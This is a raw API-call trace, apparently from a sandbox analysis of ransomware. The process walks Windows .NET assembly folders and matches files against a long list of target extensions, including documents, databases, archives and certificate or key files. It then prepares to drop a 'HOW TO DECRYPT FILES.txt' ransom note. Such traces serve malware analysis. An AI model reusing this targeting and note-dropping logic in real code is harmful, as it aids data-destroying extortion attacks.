[0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.ost") returned 0 [0112.434] lstrlenA (lpString="*.ost") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.idx") returned 0 [0112.434] lstrlenA (lpString="*.idx") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.dbx") returned 0 [0112.434] lstrlenA (lpString="*.dbx") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.sql") returned 0 [0112.434] lstrlenA (lpString="*.sql") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mdb") returned 0 [0112.434] lstrlenA (lpString="*.mdb") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.fdb") returned 0 [0112.434] lstrlenA (lpString="*.fdb") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.wab") returned 0 [0112.434] lstrlenA (lpString="*.wab") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.dat") returned 0 [0112.434] lstrlenA (lpString="*.dat") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.txt") returned 0 [0112.435] lstrlenA (lpString="*.txt") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.jpeg") returned 0 [0112.435] lstrlenA (lpString="*.jpeg") returned 6 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.jpg") returned 0 [0112.435] lstrlenA (lpString="*.jpg") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.png") returned 0 [0112.435] lstrlenA (lpString="*.png") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.php") returned 0 [0112.435] lstrlenA (lpString="*.php") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.cs") returned 0 [0112.435] lstrlenA (lpString="*.cs") returned 4 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.cpp") returned 0 [0112.435] lstrlenA (lpString="*.cpp") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.rar") returned 0 [0112.435] lstrlenA (lpString="*.rar") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.zip") returned 0 [0112.435] lstrlenA (lpString="*.zip") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.html") returned 0 [0112.435] lstrlenA (lpString="*.html") returned 6 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.htm") returned 0 [0112.435] lstrlenA (lpString="*.htm") returned 5 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.xlsx") returned 0 [0112.435] lstrlenA (lpString="*.xlsx") returned 6 [0112.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.xls") returned 0 [0112.435] lstrlenA (lpString="*.xls") returned 5 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mp4") returned 0 [0112.436] lstrlenA (lpString="*.mp4") returned 5 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.ppt") returned 0 [0112.436] lstrlenA (lpString="*.ppt") returned 5 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.pptx") returned 0 [0112.436] lstrlenA (lpString="*.pptx") returned 6 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.doc") returned 0 [0112.436] lstrlenA (lpString="*.doc") returned 5 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.dot") returned 0 [0112.436] lstrlenA (lpString="*.dot") returned 5 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.docx") returned 0 [0112.436] lstrlenA (lpString="*.docx") returned 6 [0112.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.7z") returned 0 [0112.437] lstrlenA (lpString="*.7z") returned 4 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.tar") returned 0 [0112.437] lstrlenA (lpString="*.tar") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.bz2") returned 0 [0112.437] lstrlenA (lpString="*.bz2") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.gz") returned 0 [0112.437] lstrlenA (lpString="*.gz") returned 4 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mkv") returned 0 [0112.437] lstrlenA (lpString="*.mkv") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.eml") returned 0 [0112.437] lstrlenA (lpString="*.eml") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.msg") returned 0 [0112.437] lstrlenA (lpString="*.msg") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.edb") returned 0 [0112.437] lstrlenA (lpString="*.edb") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.accdb") returned 0 [0112.437] lstrlenA (lpString="*.accdb") returned 7 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.odb") returned 0 [0112.437] lstrlenA (lpString="*.odb") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.java") returned 0 [0112.437] lstrlenA (lpString="*.java") returned 6 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.asm") returned 0 [0112.437] lstrlenA (lpString="*.asm") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.pfx") returned 0 [0112.437] lstrlenA (lpString="*.pfx") returned 5 [0112.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.pem") returned 0 [0112.438] lstrlenA (lpString="*.pem") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.p12") returned 0 [0112.438] lstrlenA (lpString="*.p12") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.gpg") returned 0 [0112.438] lstrlenA (lpString="*.gpg") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.vsd") returned 0 [0112.438] lstrlenA (lpString="*.vsd") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.odg") returned 0 [0112.438] lstrlenA (lpString="*.odg") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.raw") returned 0 [0112.438] lstrlenA (lpString="*.raw") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.nef") returned 0 [0112.438] lstrlenA (lpString="*.nef") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.svg") returned 0 [0112.438] lstrlenA (lpString="*.svg") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.psd") returned 0 [0112.438] lstrlenA (lpString="*.psd") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.vmx") returned 0 [0112.438] lstrlenA (lpString="*.vmx") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.vmdk") returned 0 [0112.438] lstrlenA (lpString="*.vmdk") returned 6 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.vdi") returned 0 [0112.438] lstrlenA (lpString="*.vdi") returned 5 [0112.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.lay6") returned 0 [0112.439] lstrlenA (lpString="*.lay6") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mpeg") returned 0 [0112.439] lstrlenA (lpString="*.mpeg") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.djvu") returned 0 [0112.439] lstrlenA (lpString="*.djvu") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.tiff") returned 0 [0112.439] lstrlenA (lpString="*.tiff") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.backup") returned 0 [0112.439] lstrlenA (lpString="*.backup") returned 8 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.pdf") returned 0 [0112.439] lstrlenA (lpString="*.pdf") returned 5 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.cert") returned 0 [0112.439] lstrlenA (lpString="*.cert") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.docm") returned 0 [0112.439] lstrlenA (lpString="*.docm") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.xlsm") returned 0 [0112.439] lstrlenA (lpString="*.xlsm") returned 6 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.dwg") returned 0 [0112.439] lstrlenA (lpString="*.dwg") returned 5 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.nd") returned 0 [0112.439] lstrlenA (lpString="*.nd") returned 4 [0112.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.tlg") returned 0 [0112.439] lstrlenA (lpString="*.tlg") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.lgb") returned 0 [0112.440] lstrlenA (lpString="*.lgb") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mov") returned 0 [0112.440] lstrlenA (lpString="*.mov") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.xdw") returned 0 [0112.440] lstrlenA (lpString="*.xdw") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.ods") returned 0 [0112.440] lstrlenA (lpString="*.ods") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.wav") returned 0 [0112.440] lstrlenA (lpString="*.wav") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mp3") returned 0 [0112.440] lstrlenA (lpString="*.mp3") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.aiff") returned 0 [0112.440] lstrlenA (lpString="*.aiff") returned 6 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.flac") returned 0 [0112.440] lstrlenA (lpString="*.flac") returned 6 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.m4a") returned 0 [0112.440] lstrlenA (lpString="*.m4a") returned 5 [0112.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.csv") returned 0 [0112.440] lstrlenA (lpString="*.csv") returned 5 [0112.441] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e342c5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3e342c5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3e80585, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x329600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.441] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.441] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="83e2f6909980da7347e7806d8c26670e", cAlternateFileName="83E2F6~1")) returned 0 [0112.441] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.441] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data", cAlternateFileName="SYSTEM~1.DAT")) returned 1 [0112.441] lstrcmpA (lpString1=".", lpString2="System.Data") returned -1 [0112.441] lstrcmpA (lpString1="..", lpString2="System.Data") returned -1 [0112.441] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.441] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data" [0112.441] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data") returned 58 [0112.441] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.442] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.442] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.442] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.442] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.442] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accc3a5269658c8c47fe3e402ac4ac1c", cAlternateFileName="ACCC3A~1")) returned 1 [0112.442] lstrcmpA (lpString1=".", lpString2="accc3a5269658c8c47fe3e402ac4ac1c") returned -1 [0112.442] lstrcmpA (lpString1="..", lpString2="accc3a5269658c8c47fe3e402ac4ac1c") returned -1 [0112.442] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\*.*") returned="*.*" [0112.442] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\", lpString2="accc3a5269658c8c47fe3e402ac4ac1c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c" [0112.442] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c") returned 91 [0112.442] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.442] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.442] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.443] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.443] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a838e0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99a838e0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99b68121, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x847800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.443] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.443] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.ni.dll") returned -1 [0112.443] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.ni.dll") returned -1 [0112.443] lstrcmpiA (lpString1="", lpString2="System.Data.ni.dll") returned -1 [0112.443] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\*.*") returned="*.*" [0112.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\" [0112.443] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\") returned="" [0112.443] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\HOW TO DECRYPT FILES.txt") 